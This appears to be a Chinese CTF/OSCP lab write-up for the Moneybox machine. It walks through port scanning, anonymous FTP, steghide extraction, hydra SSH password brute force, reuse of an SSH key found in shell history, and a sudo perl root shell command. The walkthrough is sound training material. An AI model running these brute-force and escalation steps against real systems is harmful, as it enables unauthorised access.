OSCP系列靶场-Esay-Moneybox

总结

getwebshell : 目录扫描发现目录 → HTML中发现隐藏key → FTP匿名发现图片 → 隐写术解开图片秘密 → 提示用户名爆破 → hyrda爆破ssh进入内部

提 权 思 路 : history发现存在私钥 → 登录其他用户 → perl权限提升

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.191

图片

  • 启动靶机
    获取目标机器IP → 192.168.162.230

图片

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

 
  1. sudo nmap --min-rate 10000 -p- 192.168.162.230

  2. PORT STATE SERVICE

  3. 21/tcp open ftp

  4. 22/tcp open ssh

  5. 80/tcp open http

图片


开放的端口-→21,22,80

目标端口对应服务探测

 
  1. # tcp探测

  2. sudo nmap -sT -sV -O -sC -p21,22,80 192.168.162.230

  3. PORT STATE SERVICE VERSION

  4. 21/tcp open ftp vsftpd 3.0.3

  5. 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

  6. 80/tcp open http Apache httpd 2.4.38 ((Debian))

图片

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过Nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
Nmap探测信息为21/tcp open ftp vsftpd 3.0.3

 
  1. # ftp配置文件位置

  2. /etc/vsftpd.conf

21-FTP端口匿名登录测试(存在)

尝试匿名账号anonymous以及无密码进行登录测试

 
  1. # 利用ftp协议+ip进行连接测试

  2. ftp 192.168.162.230

  3. Name: anonymous

图片

21-FTP端口-文件GET收集

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件

 
  1. # binary 以二进制模式传输文件,保证文件完整

  2. ftp → binary

  3. # 查看目录结构

  4. ftp → ls -al

  5. # cd 查看存储的文件

  6. ftp → cd [file_date_name]

  7. # get 下载文件

  8. ftp → get [file_name]

发现了trytofind.jpg下载到了本地

图片


打开是一张纯粹的图片,推测有隐写术

图片

21-FTP端口-PUT上传测试

测试是否可以利用PUT上传文件

 
  1. # put 上传文件

  2. ftp → put [file_name]

不具备上传功能

图片

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

 
  1. # 搜索对应脚本

  2. msf6 → searchsploit openssh 7.9

图片

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

 
  1. sudo ssh root @192.168.162.230 -v

显示publickeypassword就是支持密钥以及密码登录

图片

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

 
  1. sudo ssh root @192.168.162.230 -p 22

  2. # 密码尝试

  3. password → root

弱密码尝试失败

图片

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

 
  1. sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

图片

80-HTTP端口的信息收集

访问 http://192.168.162.230:80 不是CMS我们直接从HTML隐藏信息收集开始

图片


网站说很简单,我不信(¬︿̫̿¬☆)

信息收集-HTML隐藏信息查看
 
  1. # 包括文章中是否写明一些敏感信息

  2. curl http://192.168.162.230:80

无隐藏内容

图片

信息收集-目录扫描
信息收集-目录扫描初步
 
  1. dirsearch -u http://192.168.162.230:80 -x 302,403

图片

通过扫描发现了一个新的端点/blogs/
因为扫出了目录,深层次的扫描待选

 
  1. 信息收集-目录扫描(后缀)

  2. 信息收集-目录扫描(深度/大字典)

  3. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问
/blogs/端点访问

从本文的消息我们可以发现黑客黑入了系统,并说明没有任何的防护设备

图片


curl了一下发现了新的隐藏路径S3cr3t-T3xt

图片

/S3cr3t-T3xt端点访问

提示是没有

图片


curl了一下,发现了新内容….一个key 3xtr4ctd4t4

图片

漏洞利用-getwebshell

key利用

根据现有内容key应该不代表密码,之前有一张图片可能存在隐写术,推测是它的密码

通过CHATGPT推荐使用工具 steghide

图片

通过chatgpt获取对应的工具使用方式

图片

 
  1. steghide extract -sf -xf -p

其中:

  • `` 是包含隐藏信息的图像文件

  • `` 是提取的信息输出文件

  • `` 是解密隐藏信息的密码

修改成我们需要的样子

 
  1. steghide extract -sf trytofind.jpg -xf mian.txt

  2. password → 3xtr4ctd4t4

成功获得main.txt

图片

信息泄露获得用户名

打开发现内容 确定密码很简单并且用户名是renu

 
  1. Hello..... renu

  2. I tell you something Important.Your Password is too Week So Change Your Password

  3. Don't Underestimate it.......

图片

SSH爆破登录

这样我们可以尝试爆破一下renu的账户,利用工具hyrda

 
  1. # -l 指定用户名 -P指定密码字典

  2. hydra -l renu -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22

成功得到了账号密码信息

 
  1. [22][ssh] host: 192.168.162.230 login: renu password: 987654321

图片

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

 
  1. sudo ssh renu @192.168.162.230 -p22

  2. password → 987654321

成功打入内部,第一步完成

图片

内网遨游-getshell

FLAG1获取

 
  1. renu @MoneyBox:~$ find / -name local.txt 2→/dev/null

  2. /home/renu/local.txt

  3. renu @MoneyBox:~$ cat /home/renu/local.txt

  4. ad71d6f825f157311d017a8bd94a7e03

图片

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

 
  1. # 确定发行版本

  2. renu @MoneyBox:~$ lsb_release -a

  3. No LSB modules are available.

  4. Distributor ID: Debian

  5. Description: Debian GNU/Linux 10 (buster)

  6. Release: 10

  7. Codename: buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

 
  1. renu @MoneyBox:~$ uname -a

  2. Linux MoneyBox 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux

内核版本为4.19.0

图片

检测当前用户的权限
 
  1. renu @MoneyBox:~$ id

  2. uid=1001(renu) gid=1001(renu) groups=1001(renu)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

 
  1. # 利用sudo -l寻找

  2. sudo -l

发现需要密码,尝试987654321失败

图片

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

 
  1. # -perm 文件权限

  2. find / -perm -u=s -type f 2→/dev/null

图片

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

 
  1. renu @MoneyBox:~$ ls -al /etc/passwd

  2. -rw-r--r-- 1 root root 1486 Feb 26 2021 /etc/passwd

/etc/shadow权限收集
  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权

  • 如果/etc/shadow具有可读权限可以爆破密码

     
    getcap标志进程收集

    高版本下suid列举不全,查看getcap

     
      
    1. # 探查有CAP_SETUID标志的进程

    2. /usr/sbin/getcap -r / 2→/dev/null

    3. renu @MoneyBox:~$ ls -al /etc/shadow

    4. -rw-r----- 1 root shadow 1095 Oct 11 2022 /etc/shadow

图片

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

 
  1. # 寻找定时任务并修改进行提权

  2. cat /etc/crontab

图片

查看历史信息

可能用户留下的历史信息具有有用的信息

 
  1. history

图片

发现存在登录到其他用户的历史命令

 
  1. ssh -i id_rsa lily @192.168.43.8

查看一下本用户/home目录下是否存在SSH密钥

图片


再查看一下lily目录下是否存在authorized keys

图片


确认存在之后尝试登录lily的用户

 
  1. # 修改一下ip

  2. ssh -i id_rsa lily @ 192.168.162.230

登录成功,准备进行新的信息收集

图片

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件

利用sudo -l寻找

 
  1. lily @MoneyBox:~$ sudo -l

  2. Matching Defaults entries for lily on MoneyBox:

  3. env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

  4. User lily may run the following commands on MoneyBox:

  5. (ALL : ALL) NOPASSWD: /usr/bin/perl

看到了内容 会心一笑

图片

perl权限提升

如果发现有东西的话 访问 https://gtfobins.github.io 寻找

图片

 
  1. sudo perl -e 'exec "/bin/sh";'

找到了提权的命令,提权成功

 
  1. lily @MoneyBox:~$ sudo perl -e 'exec "/bin/sh";'

  2. # is

  3. /bin/sh: 1: is: not found

  4. # id

  5. uid=0(root) gid=0(root) groups=0(root)

图片

FLAG2获取

 
  1. # cat /root/proof.txt

  2. 7b0bce8f4b59a3db7d173f3e833e50f8

 
  1. 完结撒花~

图片

总结

查看历史记录也是一件很重要的事情

  声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值